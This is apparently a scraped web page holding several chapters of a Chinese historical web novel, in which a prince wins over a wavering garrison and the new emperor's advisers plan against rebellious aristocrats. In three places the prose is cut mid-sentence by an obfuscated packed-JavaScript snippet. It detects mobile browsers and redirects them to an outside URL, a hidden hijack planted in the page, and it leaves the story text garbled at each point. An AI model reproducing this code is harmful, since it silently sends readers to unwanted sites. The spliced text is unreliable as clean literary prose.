说话已至眼前，其中有个眼尖的认出楚棣，上前寒暄：“这不是隋意小子吗？啊呀！几年不见，到何处高就了？”一拍他的手臂，被那身威武精美的甲胄惊得不知道说什么好。 宋燃喝止：“老高，这是二殿下。” 那唤老高的中年将军，双名懋约，方阔脸面，一把浓密的络腮胡，身材高大，一身腱子肉。闻声就把手收回来，拱手道：“二殿下恕罪。”像座山似的。 楚棣扶住那双沙包大的拳头，朗声笑道：“高将军别来无恙？这厢我来代传东宫校令，敢请各位将军入帐听令。” 高懋约脸色突变，左右一看几位同袍，都如临大敌。 一个高瘦些的先道：“昨日一早也有来传东宫校令的，拿着上将军的帅印和虎符，可身边不见一个回京述职的将军，只怕有诈。” “是个生面孔，这如何使得！”有人附和。 “上将军临行说过，恐长安有变，命我们留守此地，不得轻举妄动。” 众将簇拥着宋燃三人边走边说。 楚棣理清头绪，已是满腹火气，这些将军，一来阳奉阴违，不遵上命；二来企图推卸责任，不忠不义。不堪大用。 太子此次命他调兵，多为试探。卢绾不归，营中将领之心自明。他们是骨肉至亲，于公于私，他都期望太子顺利登基即位，安定朝野；三叔与他心腹之交，肝胆相照，他也不想因为这些心怀鬼胎的下属累他再受猜忌。 要办好此事，难。要据实上报，表明自己和三叔的忠心，更是难上加难。 22. 行路难 中军升帐，二十四名将官分为四列，站定行辕之中。楚棣立在上首，面色铁青，霍然发问： “诸位不认帅印虎符，欲作何为？” 众将登时难堪之极，不敢擅动，宋燃漫不经心地咳了一声，众将立刻拱手： “三军法度，唯将令是从。” 楚棣虽无权势压人的瘾，可也容不得旁人随意挑衅。拿紧腰间长剑，轻蔑一笑： “岂有此理！何不下跪听校？” “末将甲胄在身，不便下跪。” 楚棣一怔，旋即讥讽一笑： “诸位真是上将军一门的骨鲠之臣。” 说罢，自腰间取出长剑，剑出鞘，一道白虹在帐中一闪而过，架上的诸般兵器，都在刹那失去光华，变得死气沉沉，如这些将领，自惭形秽。 “尔等可识得此剑？” 众将认出此乃公主剑，宋侯巡营曾佩戴过几次，军中人尽皆知，见此剑犹见公主，一有命令，不得违抗。 众将忙不迭下跪，佝起腰身，连连请罪： “末将听凭殿下差遣。” 茉莉靠边站着，目光在人群中逡巡，想找到那个自己见过的将官，可不好找。帐中剑光烛影，晦暗不明，这帮凶神恶煞的兵鲁子，威风尽失，在一把汉剑下瑟瑟发抖。 讶异之际，茉莉悄然望向楚棣，见他神色森然，满眼怒意，一时想不明白，这些人都害怕如斯，他还气个甚？ 当目光落到剑上，她才真正悟了——这隋大哥，到底是天家龙种，有贵族痼疾，一心维护的乃是东宫，他的长兄。姐姐说，楚晋一脉唯东宫即位是为正统。所以，此剑非剑，而是凌驾于东宫的威权；隋意所气非人，而是众人欲以威权挑战威权。 假使东宫之权无法行使，那么，天家血脉为他带去的权力地位也将动摇，说到底，他是狐假虎威，为自己一怒。 他是狐，公主和太子是虎。但是，三岁孩子都知道，一山不容二虎...... 微妙的想法蔓延开来，把茉莉吓了一跳，惊讶之余，她又得出一种结论，太子与公主一战就在眼前，楚棣在其中斡旋，要做到刀切豆腐两面光，谈何容易？必得令人心服口服为上。 茉莉为他悬心。 楚棣略一沉吟，先行试探： “立即释放翊卫中郎将卢绾，带他来行辕见我。” 帐中将领你看我，我看你，没有异议： “末将领命。”高懋约旋即传下令去。 楚棣神色稍缓，问道： “诸位将军迟迟不肯回护京畿，可有何担忧？” 众将不约而同地望向宋燃，始终没人开口。 楚棣心里又明白一分。眼下，最快调兵之法是杀鸡儆猴，可是看着眼前这些身经百战的将领，无一不为大晋立下汗马功劳，他如何下得去手？见茉莉那头没动静，故而拿定主意，先劝，不听，分化之，再不听，立斩不赦。 要是走到那一步，是没有办法的办法。 收剑入鞘后，楚棣语气和缓不少： “诸位将军，在宣读太子校令以前，我要先说一件大事：宋侯已经启程回京。圣人驾崩，太子殿下恩赦宋侯回京归祭，以全一世君臣甥舅之情。” 宋蔺治军严苛，而且不懂得周旋人情世故，众将苦其久矣！只盼有朝一日，宋侯回营再聚。闻讯，异口同声道： “我等谢过太子殿下！” 见有松动，楚棣趁热打铁： “太子殿下知道，诸位将军多出自宋侯门下，不忍他流离在外。还有一些则受上将军军功惠泽，得以加冠封爵，感恩宋门。太子监国以来，对军制多有改动，加以坊间传闻，太子与上将军不睦。诸位犹豫至此，是想确认上将军安危，迎回宋侯，延续祖制，我说的可对？” “防备”换做“犹豫”，原本该有的问罪含义骤减，倒像是交心了。 多数将领确做此想，一被点破，便有人期期艾艾： “殿下...所言极是。蓝田大营中，共有五十名千夫长并十名将军，没有一个不信服宋侯。” “上将军虽是宋侯之子，可治军方略天差地别。他，天生富贵，哪里知道底层士兵的苦处......” “殿下说宋侯回京，我等相信！” “好！”楚棣肃然承诺道：“旬日之间，宋侯便至长安，只要诸位将军配合调兵回护京畿，我定向太子殿下求来恩典，让诸位与宋侯一见。” “彩！”众人齐声赞道。 “三军主将随我出帐点兵！” 茉莉静静注视着他，终于，要成功了。她为他高兴。也是这时，她忽然想起崔府那夜，他说“我的处境无人能懂”，今日亲眼所见，她终于能够懂得一点。 他的确是不容易。 话音未落，一骑飞马到得营门前，骑士飞身下马，高举手中玉牌，疾步来到行辕外，高声喝道： “上将军有令，二殿下楚棣为主将，宋燃为副将，点左右玄甲骑兵各一千五，步兵各一千；中军轻甲骑兵三千，步兵两千；另两千辎重兵护送粮草，立即开拔回护京畿！在城外谷地展开兵力，凭险而守。” 片刻之间，军中将领尽皆变色，立刻出营点兵。茉莉气极，跺了跺脚，明明这功该是她隋大哥的！ 楚棣却是笑了： “这些将领想见舅公，就为狠狠告上一状？” 宋燃端详一阵，见他怒气全消，感慨道： “告吧告吧，我也早想告了。将军要是能懂得体恤军士，算了，不敢想也。” 楚棣心中大安，似笑非笑的： “军中有小怨，无伤大雅。”说完，他的目光找到茉莉，茉莉却扒在帐子上，竭力望着校场方向。 宋燃会心一笑，拔腿出营。楚棣走上前，注视了她几弹指功夫，还是拿不定主意要不要叫她，然后轻轻一拍她的肩膀。 茉莉一回头，颇为惊讶地看着他。 “大功告成，我们还在这空荡荡的行辕做甚？”楚棣对她笑道：“走，去看校场点兵。” “遵命！哎，隋大哥，等等我！”茉莉急得快步追上去。 士兵将两匹马儿牵来，楚棣看向茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120128|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉，见她已经把手搭上马鞍，准备翻身上马，便不多事询问，单是一笑： “场中风大，骑慢些，当心沙子迷了眼。” 茉莉对他点头一笑，如一团朱砂，利落地附在马背上，跟着楚棣向校场奔去。 校场位于河谷腹心地带，极其宽阔平坦，点将台依山势而建，位于正北面的坡地上。站在台上，可将大军操练阵营尽数收入眼底。 军令如山，执行以迅雷烈风之势，依上将军宋蔺之令，列为三个大阵，每阵皆由骑兵和步兵组成。步兵一色绛红战袍金色铁甲，配陌刀、长短兵器一件，其中两成士兵背弓持箭。左右两阵骑士皂衣玄甲，手执长槊，负箭三十支，战马全副武装，随马携带啄、锤、斧、鞭和块圆盾。中阵轻骑，马不披甲，骑士身着玄衣皮甲，配备□□箭矢。 金鼓息声，旌旗飘扬，一领大纛迎风招展，天地间唯有风声、水声，不等楚棣登上将台，一万精锐已在场中列阵以待。 楚棣久处军旅，自然明白这三千玄甲的重要性，然而出乎意料的是，轻骑和步兵也能操练得如此威武整肃，稳如山岳。说不为之激动骄傲，那是假的。 茉莉是外行，却看得痴了。当初在家时，偶尔能听见营中刁斗和金鼓演习之声，那时候一味嫌烦，哪里知道此处驻军能如此震撼人心？忽然，毫无预兆地，眉心一蹙，泪如泉涌。 点将台上，诸营将领并肩而立，楚棣站在最前头，堪堪一个眼神，宋燃便高声宣告： “三军将士们，圣人驾崩，京畿不稳。上将军有令：全军开拔回京，拥护太子殿下登基即位！” 场中齐声应答：“回护京畿，拥立东宫！”天气晴好，回声响彻云霄。 困境一解，楚棣心满意足地上前挥动手臂，向三军将士致意。待场中安静，方高声发令： “主将归营，开拔回京！” 众位将军一并应声，疾步回营。茉莉立于点将台一角，先是鸟瞰军阵，而后慢慢上移，待把众位将领一一看过，目光才悄然落在楚棣身上。 在一片清脆整齐的兵甲声里，她暗暗地想，隋大哥真是了不得，忽而想起初见时他那副狼狈样子，不觉莞尔一笑。 楚棣和宋燃飞马下山，茉莉紧随其后，此时金鼓齐鸣，鼓声如雷，大军闻声而进，向长安方向出发。 队伍前端，楚棣笑道：“早知调兵遣将如此容易，我又何苦对诸位将军拔剑相逼，弄得自己跳梁小丑一般。” “军中最爱论资排辈，殿下年轻，他们少不了要轻视。拔剑以为弹压，无妨。”宋燃开解。 楚棣似笑非笑：“是啊，虎符都不认，就认上将军一句话。”腰间长剑碰撞出声，他看一眼，“还有这把剑。” 宋燃头皮一紧，连忙拱手：“上将军满门忠心为国，自掌军以来一切军令可辨真假。” “律法论迹不论心。”楚棣目视前方，神色淡然，“不必担心，我心里知道。对了，卢绾人呢？他与太子，可比我更亲。” “殿下说笑了，人在后面。” 楚棣旋即调转方向，打马而去。 23. 行路难 从队伍前端到末尾，楚棣终于找到卢绾，这短短的一段路，为了想出有理有据的说辞，他简直绞尽了脑汁。 楚棣调转马头，跟住粮车，但见卢绾焉儿了吧唧、灰头土脸地躺在车上，出言安慰道：“卢绾将军，你受苦了。” 卢绾被关营中一天一夜，因防备和赌气，不进水米，此刻就像被霜打过的茄子一般，半点精力也没有，本该睡上一觉养精蓄锐，可是心里烦乱不堪，这一路上都在翻来覆去。 廿六年，他一刀一枪，从太子伴读做到翊卫中郎将，走到哪里不被人夸上一句年少有为？自以为受人敬重，在军中多少有些面子，才敢领了传太子校的使命。 谁知道，在这大营里，没有一人认他，不认他，就是不认太子。 他吃挂落不要紧，只是，武将聚众抗命不是小事。假若实情上报，依法处置，必定血流成河；假若真假参半而报，或可保全同为军人的袍泽之情，而他于太子，却是不忠了。 自古忠义难两全。 “二殿下解救之恩，卢绾铭记于心。”卢绾翻身而起，拱手道。 “将军客气。”楚棣顿住，打量卢绾片刻，方说：“我此来跟你一样，也是困难重重。” 卢绾感慨道：“新君即位之际，调兵遣将却如此艰难，末将实不知该作何感想，亦实不知回宫如何禀报。” “我也正为此事为难。”楚棣觉出卢绾为难，思忖片刻，只是问：“依将军所想，却该如何？” 卢绾好一会儿没说话，单是想，他与宋门有仇，先帝虽然替他报过仇，但到底不是他亲力亲为，算不得数。假若他借此机会大加报复，又似乎殃及无辜。以公报私，实非君子所为。 听二殿下这番话，大概与他想法相同，但与他合谋，又觉不妥。他和太子是兄弟，自己只是臣属，再亲也亲不到骨血里去。想想反问： “殿下何需为一帮军士坏手足之情？当据实上报，交由新君定夺。” “将军说得好！”楚棣附和大笑，反将一军：“就是！要以军令推脱，太子校令何不算得军令？分明是他们阳奉阴违，意在挑衅东宫。” “殿下所言甚是。只是，”这番话合情合理，但卢绾听来，总是不得力，“军中将领多为世族子弟，本就根基深厚，加以数代以来，互为姻亲，势力更是盘根错节，难以理清。眼下登基大典尚未落定，营中之事若尽数告知新君，恐新君顿生怨愤，与老世族势同水火，届时继位岂不艰难？” “将军有此见识，实乃新君之福。”千穿万穿，马屁不穿。楚棣想了想，顺着说下去，“楚氏四世以前，曾有一帝年少继位，因不得世族老臣之心而被放逐山中，足足等待二十载才重登帝位。当然，今时不同往日，今人亦不同前人，楚棣相信，新君能与世族一战。假若，不幸落败，我会和我的兄长一起流浪山野。” 卢绾饿得发昏，不太确定楚晋国史上到底有没有这么个皇帝，可是他知道，这帮世族老臣恨东宫至深，不会放过任何一个机会拉太子下马。若有万全准备，开战无妨，只是现在万万不可。一旦落败，太子连流浪山野的机会都没有。 他绝不拿太子前途做赌。 “殿下，末将想好了。”卢绾思前想后，决定铤而走险，“向新君复命时，绝不提及众将聚众抗命一事，一切事端，待登基大典后再相机上报。” 楚棣心安了，却微眯眼睛，状似不满：“莫非将军怕了他们？” “文死谏，武死战，乃是荣耀。臣纵为新君一死，有何惧之？”卢绾实心说道。 楚棣敛起神色，抬手一揖：“将军忠心事主，我为兄长一大喜。诚如将军所想，事态特殊，忠心不在这三言两语之间。来日东窗事发，楚棣愿与将军同担此罪。” 卢绾并不指望他真的会同担此罪，单是笑一笑，拱手还礼：“殿下有心，不论来日是刀山是火海，都由卢绾一力承担。” 谁想楚棣却动容了，不知是为卢绾的忠义，还是为太子有此忠臣。总之他没有再说下去，竟是揶揄道：“将军此言当真？那我可就却之不恭了。” 卢绾笃定地点头，心上却像压下千斤重石，猛地沉进深渊。 他不断地安慰自己“太子不会怪罪”，可却不由自主地想起，曾有位太子冼马因“宁王案”复核，意图说服太子不再加诸罪名于其子孙，而被疑心收受贿赂，落得个离心离德，一贬再贬的结局。 他不想要这样的结局。 在忐忑不安中，大军抵达长安城外，依照军令，凭借地势安营扎寨，不过一个时辰，营地环环相扣，在山中河谷拔地而起。 终于，他们可以回宫复命了。楚棣离开前，对宋燃简单交代了几句，便带着茉莉和卢绾打马而去。但觉大事已了，疲惫忽然铺天盖袭来，把三人都死死卷住，只得缓辔而行了。 长安城已被素色包裹，满街店铺，不论大小，几乎尽数在门边挂上白花白绫，城中行人，不论男女，服色尽数变淡，不似平日那般穿红戴绿，奇怪的是，连喧闹声都低了不少，人人轻声细语，和平日的热闹繁华大相径庭。 茉莉累极，在马背上小鸡啄米，一睁眼，抓紧缰绳，走几步又是昏昏欲睡。 卢绾看见只是一笑：“这小黄门是东宫的么？” “她是个姑娘。”楚棣也觉有趣，满脸堆笑，“也真难为她了，衣不解带地跟着我们跑了一夜。” “可有使命在身？” “本来有，后来就没有了。” “倒是一个巧宗儿，”卢绾想起一个人，笑而赞道：“这位姑娘亦是不让须眉。” 楚棣只管揶揄：“你是夸她，还是另有其人？” 卢绾深知自己那事成不了，不禁无限感慨：“有缘无份，与其苦苦纠缠，不如两两相忘。” 楚棣无意揭他伤疤，立时拱手致歉：“小弟失言，卢大哥切莫介怀。” 卢绾一摆手，豁达地说：“殿下折煞臣了，玩笑一句，无妨。” 正在这时，茉莉猛地向前一扑，栽在马脖子上，忽地惊醒，连忙抱紧了，死死不放。待反应过来，楚棣和卢绾已是看得大笑。 幸而马没有受惊，仍然走得平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120129|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳，茉莉昏沉沉地坐起来，有点儿不好意思：“让殿下和将军见笑了。” 楚棣好奇得很，故而问道：“听说你家在蓝田，怎么不趁这机会回去一趟？宫里规矩严，往后再要回去就难了。” “此次出宫是为公事，奴婢怎能擅自打道回府？”茉莉气他对自己不加关注，竟不记得她是出逃，忽而转念一想，似乎是自己从未对他说起过，也就气不着他了。 “你现在想回去么？”楚棣思忖片刻，“要是想，我回宫去圣人面前替你讨这个赏。” 茉莉没忍住，翻起一双眼睛：“奴婢累得很，不想再跑一趟了。” 卢绾心道，楚棣改口，说明是对太子登基胸有成竹。再一看，只觉得奇怪，这宫人怎么对他这般无理？但是并未出言喝止。 “也好。”楚棣仍然笑微微的，“一到宫里，你就直接回住所休息了？” “可以这样吗？”茉莉倒是想，可是不敢。 宫门近在咫尺，三人俱下马，守卫检查过即放行。 楚棣说：“照规矩是不行的，但有我在，行。” 茉莉心想，你是你，我是我，我可不沾你的光。然后只说：“奴婢还是先去拜见太子殿下为上，免得将来说不清楚。” “也好。”楚棣显摆不成也不气恼，想了想，叮嘱道：“要是圣人问你，就照我和卢将军的话说，可记住了？” “奴婢记住了。”茉莉颔首，紧随楚棣身侧。 卢绾觉得不牢靠，凑到楚棣耳边悄声道：“殿下不怕节外生枝？” 楚棣但觉不妙，肃然发问：“什么意思？” “需不需要？”卢绾声音压得更低。 循着眼神看去，楚棣见他一掌比了个“杀”的手势，登时冷笑一声：“不劳你费心。若有意外，我自会料理。” 卢绾隐约觉着不对，但又不知道该有个什么问法，思忖再三，只好算了。同时拿定主意，要是这宫人说漏半句，必除之而后快。 楚棣越走越慢，直到卢绾走得老远，才缓缓地踱到茉莉身边。 “茉莉姑娘，”他没忍住问：“你跟我说话怎么总是‘奴婢奴婢’的？” “奴婢是内廷女伶，面对殿下，不称奴婢那称什么？”茉莉觉得莫名其妙。 “但我们认识的时候，你不是女伶，我也不是殿下。” “哦，那殿下想怎么样？” “我不敢怎样。”楚棣总是对她十分谦卑，浅浅一笑：“我只是想说，以后你再见着我，别再‘奴婢奴婢’的，难听。” 茉莉第一日去练舞时，因太过兴奋，在课室中有些忘形，可巧，当堂掌教先生最为恪守礼节，不训一言，便罚她在窗台静站。颜面尽失。 她记得教训，苦恼地说：“奴婢若是改口，殿下听着是好听了，可奴婢会被罚呢。” “往后可凭借今日之功，没人再敢罚你。”楚棣计上心头。 茉莉省过来，他大约要为自己报功，但觉窝心，做小女儿态：“那我，听殿下的。”其实心里明白，她决计不会“听殿下的”。 24. 今夜月明 内廷戒严这两天里，魏缨几次试图联系熟识的小黄门，以求递信出去托人寻找茉莉，都被侍卫挡了回来，万般无奈之下，只能选择等待。 直到茉莉回来，她那终日悬着的心才安然下来。 在热气氤氲的澡房里，茉莉坐在浴桶中，无比亢奋地将这两日奇遇向她一一说来，魏缨抱着更换衣物，轻声笑道：“看不出来，这新君很疼他的弟弟嘛。” 热水泡得浑身松快，茉莉靠住桶壁，闭起双眼，“姐姐如何见得？” 魏缨轻柔地为她梳理头发，有些哭笑不得：“二殿下真的笨吗？不见得，但新君直呼他为‘笨楚棣’，若非疼爱，倒是轻慢了？” “绝不轻慢。”茉莉笃定地道，然后睁开眼，“我知道啦，就如姐姐对我这般，又爱又气，不由自己，是不是耶？” 魏缨莞尔一笑：“跑这一趟，倒是脸皮厚了，会给自己脸上贴金。” “姐姐不认也来不及了，此刻我已经心知肚明。”茉莉扬起下巴，颇为满足，因为离家以后，她得到了家的温暖。魏缨是个好姐姐，给她什么她也不换。 魏缨还在为她通发，边说变笑：“瞧瞧你这样子，要是有尾巴，可不翘上天了。” “虽没尾巴，但我有嘴角，可以挂弓。”茉莉俏皮地笑。 “好，可以挂弓！”魏缨把裹身袍子拿来，忽然面泛愁容，“茉莉，裴大人叫你去尚宫局，你为何不应？” “我不认得太多字，身居要职，心里虚发。”茉莉裹上袍子，盈盈笑道：“再说了，宜春院里有姐姐，我舍不得走。” “我误你了。”魏缨沉吟不语。 “不是的，是我自己不愿意走。” “那你可想过将来？” “什么将来？”茉莉好像懂了，凑去低声问道：“难道姐姐想走？” 魏缨沉默，不点头也不摇头，只是看着她。茉莉擦干身子，穿好衣裙，披散长发，与魏缨一起回到房里，并排而座。 过了好半晌，魏缨才说：“在世人眼里，伶人只是观赏玩乐之物，我们虽在内廷，但也逃不开这条偏见。” 茉莉若有所思道：“在宜春院中的确委屈姐姐了。”在她心里，姐姐品貌一流，可做皇妃。昨夜，她虽不敢抬头看新君，可仅仅是听他发号施令，便已觉得气度超凡。正配姐姐这般妙人。 更何况，那新君也擅弹琵琶，若他们在一处，必有话可说。不至于像她和隋大哥，干巴巴的，说两句都嫌多。 “不是委屈我，是委屈了你。”魏缨想起当年在掖庭中受尽打骂屈辱的日子，眼泪扑簌簌地往下掉。后来她为王山遥所救，应下他那差事，为的就是不再受人折辱。 苦苦等待，至今尚为一伶人，不知机会何在，而茉莉，明明有比她更好的路，却不走，她安能不哭？为自己，也为她。 “和姐姐一起，我不觉得委屈。”茉莉抱住她，安慰道：“姐姐别哭！” “茉莉，在这宜春院中，如你这般一心跳舞吃口饭的，找不出几个。” “既来之，则安之。我来到这里，不跳舞还能做什么？更何况，除了跳舞，我也不会别的。” “‘王侯将相，宁有种乎’，你不记得了？你有此志向，就该去尚宫局，像裴大人那样做个不让须眉的女官。跳舞，自然也可做一生事业，但你只会跳，不会编，待到年华逝去，手软骨酥，当如何延续？” 茉莉有个优点，知错即改。略一思忖，也觉魏缨说得有理，当下保证道：“若有下次，我定一口答应。姐姐别哭了可好？” 魏缨笑而拭泪。闲话半晌，待她一头黑发干得差不多了，方整理床铺，让她躺下休息。 茉莉很快便沉沉入睡。魏缨坐在床沿，静静地注视她的睡颜，觉得自己又一次辜负了王山遥，原本，她可以借楚棣对茉莉的感激去接近新君，但茉莉的天真信任让她不忍，内疚占据了她的心头，轻手轻脚地掖好被角，便去廊下坐着看云彩了。 这时候，王山遥打马至承天门，下得马去，将包裹提住，就和早已在此等候的内侍扯闲篇。 新君连连驱使楚棣的主意就是他出的，没有楚棣从中斡旋，新君就要直面公主，一着不慎，就会露怯。 楚棣好，好在他是一件玻璃容器，人人都能看透，故不至防备。镇国公主宦海沉浮三十载，见惯勾心斗角、尔虞我诈，深知人心易变，最欣赏珍惜的，反而是能够一眼看透的心。而这份欣赏珍惜，便是她的一处弱点。 王山遥很清楚，楚棣是孩子脾气，暂时成不了气候，但就是这份心性，让他成为一种未知，只要差遣得当，几乎可以乱拳打死老师傅。 可就是一通乱拳，把公主打昏，换了宋邯上擂台。局势大改了，王山遥一时难有后手，只好奉命入宫，同新君共同商议对策。 正是傍晚，宫门下匙，宫内为先帝守灵的皇亲、臣子，三三两两地向外走去。宫道上，几名红袍官员聚在一处，正是愁眉不展之际，忽然眼前一亮，见得王山遥和内侍从容走来，立刻上去把他团团围住。 王山遥见势不妙，把包袱递给内侍，然后拱手一躬：“王曼见过各位大人。” 鹤发老者站定问道：“山遥可知目下...东宫可有应对之策？” “晚辈实不知啊！实不相瞒，晚辈此来，只因内子在宫中守灵，命我给她送几件换洗衣物。” “哎！”鹤发老者苦恼至极，“听闻一帮世族老臣聚在公主府一日有余，此危急时，东宫将百官拒之门外，莫非要将天下拱手相让了？” “阁老慎言，东宫断不是软弱无能之辈。各位大人不必忧心至此。” “此时不忧，难道等来日改天换日再忧？” “晚辈素来敬仰阁老之忠心为国，不谋私利。今日听来，心中更加敬仰。稍后衣物送至，晚辈即去求见东宫，一有眉目，定当登门传讯。请阁老安心。” 王山遥试图脱身之际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120130|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，两个宫人步履匆匆来至跟前，出言催促：“姑爷，您怎么还在这？姑娘在等呢，快些去吧。” “急什么，我这就去。”王山遥回头告罪，“阁老勿见怪，回头晚辈一定登门拜访。” 听得鼓声将尽，又见王山遥为难，几名官员只得先放过他，向宫门而去，一路议论不休。 “你们几个都看见了吧？高娶不得！好端端一个世家探花郎，竟成丫头片子随叫随到的使唤小厮了。” “说来，那位毕竟是东宫表妹，跋扈些也使得。” “不识大体。普天之下尊贵者不独她一个，诸位可曾见如意公主如此？” “天子幼女怎会如此言行无状？不要妄言。” “惧内比赛，下官押王山遥一彩。” 闲言碎语，早就随风飘散在长安的官场之中，是为茶余饭后之笑谈，可王山遥不在乎，因为这些传闻能与他方便。 待得身后几名官员走出宫门，一行已经过两仪门，夜色深蓝，无月无星，黑暗中隐约传来的木鱼声，在空旷的宫城里打转，同烧过的纸钱味道一样，久久不散。 打发走两个宫人，王山遥站定片刻，整理好仪容，大步迈上台阶，走进甘露殿。 殿内，青龙寺的大和尚和小沙弥们正在诵经，新君楚棠和上将军宋蔺、千牛卫大将军崔平陆俱在偏殿中议事。 今夜要敲定军中调度，这不，还没开谈，黛黛就来捣乱了。楚棠瞧着有趣，索性就看着等王山遥来，待军事敲定，再详谈如何让世族老臣的联盟瓦解冰消。这事，可拖不得了。 有他在场，宋蔺总是不大自在，原因有二：一来他是宋蔺妻子汤蕴的表哥；二来他们政见相左，曾有旧怨，幸而已经解开。更好的是，他们都身居要职，但是一文一武，可以井水不犯河水。 王山遥走进去，一眼就看见崔平陆捏着黛黛半边脸颊，状似质问：“你应该叫我什么？” 黛黛嬉笑道：“崔骧！” 这时，楚棠看见王山遥到来，笑道：“山遥此来可是遇上拦路虎了？” “陛下别说笑了。”王山遥朝楚棠深深一揖，然后对二人拱手，“二位将军来得真早。” 宋蔺和崔平陆一并拱手回礼。 黛黛这才挣脱桎梏，扑到王山遥身上：“舅舅，崔骧掐我的脸。” “暄儿也在呀！”王山遥佯作惊讶，顺势将她抱起：“暄儿可知道‘秀才遇上兵，有理说不清’？让你父亲揍他，岂不更好？” “父亲母亲都不管他，舅舅可帮帮我吧。” “好！暄儿去找阿娘，舅舅这就帮你。” 王山遥满脸笑意，把黛黛撵出殿去，好说正事。 殿中扑着一张一丈长、半丈见方的绛红地毯，毯上摆一张本色矮脚长案并三个暄软的座垫，宋蔺和崔平陆并左侧跪坐，上首是一张紫檀无脚圈椅，楚棠软洋洋地歪着，笑吟吟地：“山遥晚来，必是途中有事。来，入座细说。” 25. 日出东方 王山遥脱去鞋子，在右侧软垫上跪坐：“陛下，厉阁老对世族老臣齐聚公主府之事十分上心，若眼下暂无应对之策，可允阁老入府与公主叙谈，免教忧虑坏事。” 楚棠悠然一笑：“有上将军在此，阁老还忧虑做甚？” “敢问上将军，公主何意？”王山遥肃然发问。 宋蔺一家被软禁宫中，本来就烦，正愁没有出口，当即寒声道：“我自回长安便住在武德殿中，至今没有回府，如何知道母亲所想？再说，二殿下昨日已从我母亲手中取来太宗剑，何意？难道你王山遥不明白？少在我面前阴阳怪气，我很烦你这种腔调。” 王山遥不惧不怒，解释道：“楚晋为血亲宗族势力，世代不变。陛下与公主是骨血至亲，今先帝尸骨未寒，世族老臣恐惧新君新策，着意借公主威权进行弹压，说来，为己筹谋是人之常情，合情合理，可是身为一国之臣，一不忠心事主，二不拥立东宫，可合法么？我等局外人才看得明白，此事若无公主出面调停，不血流成河断不可平息。难道上将军忍心新朝未立便大开杀戒？” “依你所言，我母亲出面的确可保一时平静，但治标不治本。”宋蔺顿住片刻，冷笑道：“他们闹的时候就该想到要掉脑袋！” “那，上将军之意是公主决不出面？”王山遥淡淡地问。 宋蔺不耐烦：“我不知道，你少为难我。” 王山遥忍俊不禁，目光忽然飘到崔平陆身上，“崔将军可有指教？” 细算起来，宋氏一族是自宋邯成为驸马开始，正式进入楚晋亘古不变的血亲势力，后来宋氏女嫁与皇家，诞下楚繁，被公主和宋邯拥立为帝，才使得宋氏坐大，风头无两，形成二十余年军、政出自一门的奇观。 而今崔氏女为太子妃，育有一子，受封皇后之日不远，再待其子受封太子，来日崔氏便是昔日宋氏，可麻烦的是，今日之君远比昔日之君更难侍奉。 他们崔氏，赌不起。 有先例在前，崔平陆纵然有心高官厚禄，也只能处处谨慎，以求明哲保身。自从小妹成为太子妃，他就想定了，多做多错，不做就不会错，故而于政务上总是能躲则躲，实在躲不过，便接来差事做个圆满。 如此一来，他为官至今，所经手之事竟无一错漏，无一不美。为君者，如楚繁、楚棠，怎能不对他寄予厚望？ 崔平陆虽为武将，但能言善辩，不输言官。本无意开口，深思过后，还是问道：“指教谈不上，但我有一个疑问：公主出面平息事端后，陛下打算如何发落这帮世族老臣？” 沉默良久的楚棠终于开口：“顺利登基为要，发落与否不在一时。” 崔平陆又问：“由公主发落如何？” 此提议正中下怀，楚棠状似惊讶地一笑：“那自然是好。”旋即面露难色，“公主尚不肯为我主持登基大典，何谈发落宗亲？” 话音未落，三人竟已齐齐望向宋蔺，但见他面红耳赤，目露凶光，好像恨不得一拳攮死崔平陆，碍于这场面，只好忍忍。 崔平陆倒还坐得住，一一拆解道：“多年以来，公主剑都不曾出世，而今陛下并不曾出言相求，剑已到手，足可表明公主至诚至真之心，世族老臣亦心知肚明。臣以为，太子继位有先帝亲笔诏命，庭前臣工无一不知，因此不必着急登基，待一切葬礼事宜处置妥当再行大典不迟，公主主持与否并不重要。再是，世族老臣虽对陛下略有怨言，但毕竟没有不臣之举，不违法度，公主可以威权发落，但是臣以为，陛下不可以支持发落，此所谓‘律法论迹不诛心’。最后，臣还有一问，陛下可有起用公主与宋侯之心？” 这一席话，不仅平息了宋蔺的怒气，也让楚棠和王山遥深以为然，公主和宋侯多年以来都是“怀璧其罪”，只要将来不再过问朝政，就没有非死不可的理由，留着他们，不仅可驾驭宋蔺，亦是绝佳的问政外援。 可是问题在于，起用他们，将来楚棠必要与二人一战，届时只会比现在更难。不起用他们，即位之初，如何压制群情激愤的世族老臣？万事不稳，不可大开杀戒。 崔平陆最后这问正在艮节儿上，宋蔺竖起耳朵，等待楚棠的回答。 